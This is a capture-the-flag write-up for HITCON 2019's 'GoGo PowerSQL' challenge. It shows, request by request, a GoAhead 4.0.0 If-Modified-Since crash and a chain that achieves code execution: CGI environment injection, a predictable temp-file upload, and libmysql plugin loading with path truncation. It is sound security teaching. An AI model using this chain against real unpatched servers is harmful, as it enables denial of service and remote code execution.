Down to the Wire

GoGo PowerSQL Writeup (HITCON 2019)

This problem provided us with both a site and a download with a handful of files including a query binary and a Dockerfile.

Starting with the site, it seemed to be a basic search of some kind, though it filters out anything that’s not alphabetic. (For example, searching 1 seems to dump the entire DB.) Nothing particularly useful there.

Next we chose to take a look at that Dockerfile.

Dockerfile content_copy
FROM ubuntu:latest
MAINTAINER <Orange Tsai> [email protected]

EXPOSE 80/tcp

WORKDIR /root/
RUN apt-get update
RUN apt install -y git make gcc libmysqlclient20
RUN git clone https://github.com/embedthis/goahead.git

WORKDIR /root/goahead/
RUN git checkout v4.0.0
RUN sed -i 's/DME_DEBUG=1/DME_DEBUG=0/' projects/goahead-linux-static.mk
RUN make PROFILE=static ME_COM_SSL=0 ME_GOAHEAD_SSL=0 ME_COM_MBEDTLS=0 DEBUG=0
RUN make  -- DEBUG=0 ME_COM_MBEDTLS=0 ME_GOAHEAD_SSL=0 ME_COM_SSL=0 PROFILE=static install

WORKDIR /etc/goahead
RUN mkdir web/
RUN mkdir cgi-bin/
RUN sed -i 's/CGI/\x0\x0\x0/g' /usr/local/bin/goahead
COPY db.conf    .
COPY route.txt  .
COPY index.html web/
COPY query      cgi-bin/

COPY FLAG       /
CMD ["goahead", "-v"]

So the main things that this Dockerfile is doing:

  1. Installing libmysqlclient
  2. Building version 4.0.0 of GoAhead
  3. Replacing the string CGI in GoAhead with null bytes

Let’s take down the problem (oops)

Seeing a version number for GoAhead, naturally one of the first things we did was check if it was the most recent. In fact, it turns out it isn’t: in the 4.0.2 is the latest 4.0.x patch. Since this immediately raises red flags, we decided to check at what was in the patch notes for the two patches. The 4.0.1 release notes mention fixing a DOS and linked to this GitHub issue, which conveniently has a comment that gives an example of how to trigger it. Just to see what would happen, we decided to go ahead (I’m not sorry) and try the If-Modified-Since variant:

content_copy HTTP
> POST /cgi-bin/query HTTP/1.1
> Host: 13.231.38.172
> User-Agent: insomnia/7.0.1
> If-Modified-Since: 555555555.5555554555
> Accept: */*
> Content-Length: 0

* Empty reply from server

“Oh, cool,” we thought, “we can crash the server!” A couple minutes later, we noticed it was still down. And still a few minutes after that. And then we had to get someone to wake up Orange to revive it. Whoops.

Our takeaway from this is that crashing the server wasn’t intended, but since they went ahead and set up a script to automatically restart the server after a crash anyway, we could use it to reset the server’s internal state if that happened to be useful later.

The Mysterious Binary

Next, we decided to reverse the query binary. It’s not very big and isn’t obfuscated in any way, and we were able to pretty quickly put together what each of the functions does:

  • sub_DEA: parses db.conf, storing the results in globals located at 203040 (host), 203048 (user), 203050 (password), and 203058 (db name)
  • sub_107B: begins the CGI response with a Content-Type header and parses the QUERY_STRING, storing the results in a global array starting at 202040 in alternating order between key and value, after applying sub_FD1 to each
  • sub_FD1: filters a string to include only alphabetic characters
  • sub_122F: dumps an error formatted as JSON and disconnects
  • sub_119F: searches the parsed query parameters, returning the value given a name

All of this put together means that main looks like this:

 in IDA

Ultimately, nothing too exciting going on here. However, one thing I didn’t note in sub_107B is that there are no bounds checks of any kind:

 in IDA

And, given the layout of .bss

a view of  in IDA

This means that we can overwrite the DB config if we send more than 256 query paramaters. It’s unclear how this might help us, since we can’t use anything that isn’t alphabetic, but we can do it!

CGI? More like \0\0\0

At this point, we returned to the Dockerfile and realized we hadn’t explored the impact of nulling out CGI everywhere in the binary. However, a quick bindiff revealed that this string only appeared inside strings, which seemed like it wouldn’t have much of an effect on the binary…

However, eventually, we realized that this might have an effect on the environment variables that CGI sets to pass information around. And, indeed, this causes the ME_GOAHEAD_CGI_VAR_PREFIX, which is usually set to CGI_, to be set to \0\0\0_ instead – meaning that it was effectively removed! Therefore, by setting query parameters, we could also add to the environment variables given to the CGI binary, as long as they didn’t fail this other check that prevent overwriting REMOTE_HOST, HTTP_AUTHORIZATION, IFS, CDPATH, PATH, and LD_*.

But what environment would be useful to us?

MySQL to the “rescue”

Our first idea from putting what we’d observed thus far together was to take an approach like the following:

  1. Send a bunch of empty query parameters to overwrite the parsed DB configuration with empty strings
  2. Add a MYSQL_HOST environment variable with our own domain in it (this doesn’t need to be strictly alphabetic since it’s not getting parsed by the query binary)

As it turns out, this approach will not work! This is because libmysql checks explicitly for NULL configuration options, not empty strings, when considering substituting environment variables.

That said, there are a number of other environment variables that libmysql will look at beyond those for configuration. Two that caught our eye pretty quickly were LIBMYSQL_PLUGINS and LIBMYSQL_PLUGIN_DIR, which can be used to load MySQL plugins, which take the form of shared objects. This sounds like a good way to get RCE!

To see what we could load, we added strace to the container and watched what would happen when we tried a request with LIBMYSQL_PLUGINS set:

content_copy HTTP
> POST /cgi-bin/strace?name=1&LIBMYSQL_PLUGINS=test&LIBMYSQL_PLUGIN_DIR=%2Ftmp HTTP/1.1
> Host: localhost
> User-Agent: insomnia/7.0.1
> Accept: */*
> Content-Length: 0

< HTTP/1.1 200 OK
[...]
< openat(AT_FDCWD, "/tmp/test.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
[...]

Ok, so it looks like with these two environment variables we can get libmysql to load any .so file we can get on the system. But we currently don’t have a way to upload files to the system… or do we?

Going back to GoAhead

Now that uploading files seemed like a key component of this problem, we decided to take a look at how GoAhead handles files uploaded by a client. It turns out that they’re stored in /tmp/cgi-%d.tmp and are numbered sequentially. This sequential numbering is convenient because, if we can figure out what the file counter is at, we should be able to upload a file and know its path. (Contrast this with an approach like that taken by PHP, where files are given a random high-entropy path.)

We also observed when messing around with the server that sometimes files would stay in the tmp directory without proper cleanup. After playing around with it for a while, we found that temp files that are uploaded as the body of a request to a CGI endpoint that doesn’t exist aren’t cleaned up.

Taking into account everything we know about GoAhead, we can now get a file in a known location on the server!

  1. Using the If-Modified-Since crash, reset the server
  2. Upload a file to a nonexistent endpoint right after the server restarts
  3. Your file will be in /tmp/cgi-%d.tmp for some low value substituted for %d

Now what can we do about the .so suffix?

An act of desperation

We got stuck here for a while, and eventually I did the classic manuever of just sending the server a lot of data in hopes of something crashing or truncating:

content_copy HTTP
> POST http://localhost/cgi-bin/strace?name=1&LIBMYSQL_PLUGINS=test&LIBMYSQL_PLUGIN_DIR=%2Ftmp%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.[...snip...] HTTP/1.1
> Host: localhost
> User-Agent: insomnia/7.0.1
> Accept: */*
> Content-Length: 0

< HTTP/1.1 200 OK
[...]
< openat(AT_FDCWD, "/tmp/././././././[...snip...]././././././././.", O_RDONLY|O_CLOEXEC) = 4
[...]

Wait, where’d the filename go!? Turns out that libmysql will truncate the path at 512 characters! That means that, if we pad our path very carefully, we can remove just the .so suffix and leave everything else intact! Let’s try that again, and this time put exactly 501 bytes into LIMBYSQL_PLUGIN_DIR, so that the remaining 11 will be the string /cgi-10.tmp:

content_copy HTTP
http://localhost/cgi-bin/strace?name=1&LIBMYSQL_PLUGINS=cgi-10.tmp&LIBMYSQL_PLUGIN_DIR=%2Ftmp%2F.%2F.%2F[...snip...] HTTP/1.1
> Host: localhost
> User-Agent: insomnia/7.0.1
> Accept: */*
> Content-Length: 0

< HTTP/1.1 200 OK
[...]
< openat(AT_FDCWD, "/tmp/././././././[...snip...]././././././/cgi-10.tmp", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
[...]

Sweet! Now all we need to do is use a handy .so and we have our full chain in place!

The Final Exploit

To reiterate, here are the steps that we’re going to take:

1. Crash the server using If-Modified-Since.

content_copy HTTP
> POST /cgi-bin/query HTTP/1.1
> Host: 13.231.38.172
> User-Agent: insomnia/7.0.1
> If-Modified-Since: 555555555.5555554555
> Accept: */*
> Content-Length: 0

* Empty reply from server

2. Upload our preload.so, which simply runs cat /FLAG, to a non-existent endpoint, such that it persists in /tmp somewhere.

content_copy HTTP
> POST /cgi-bin/heck HTTP/1.1
> Host: 13.231.38.172
> User-Agent: insomnia/7.0.1
> Content-Type: application/octet-stream
> Accept: */*
> Content-Length: 2192
>
> [...preload.so contents...]

< HTTP/1.1 404 Not Found
< Date: Fri Oct 18 21:37:01 2019
< Content-Length: 145
< Connection: keep-alive
< X-Frame-Options: SAMEORIGIN

(We ran this several times to make it easier to locate our file.)

3. Using the path truncation trick, load our .so as a MySQL plugin and get the flag!

content_copy HTTP
> POST /cgi-bin/query?name=1&LIBMYSQL_PLUGINS=cgi-10.tmp&LIBMYSQL_PLUGIN_DIR=%2Ftmp%2F.%2F.%2F.[...snip...].%2F.%2F HTTP/1.1
> Host: 13.231.38.172
> User-Agent: insomnia/7.0.1
> Accept: */*
> Content-Length: 0

< HTTP/1.1 200 OK
< Date: Sun Oct 20 21:09:30 2019
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Frame-Options: SAMEORIGIN
< Pragma: no-cache
< Cache-Control: no-cache
< hitcon{Env1r0nm3nt 1nj3ct10n r0cks!!!}

Some Final Remarks

You might notice that the DB configuration overwrite was never used anywhere. That’s because it turns out this was an unintended solution to this problem, and the intended solution used the overwrite. (That exploit chain relied on the fact that a malicious MySQL server could force a remote file inclusion on a client. But ours is cooler because we actually got a shell!)

Shoutouts to @zwad3 and @b2xiao for solving this problem with me, and to @orange for making a really cool problem!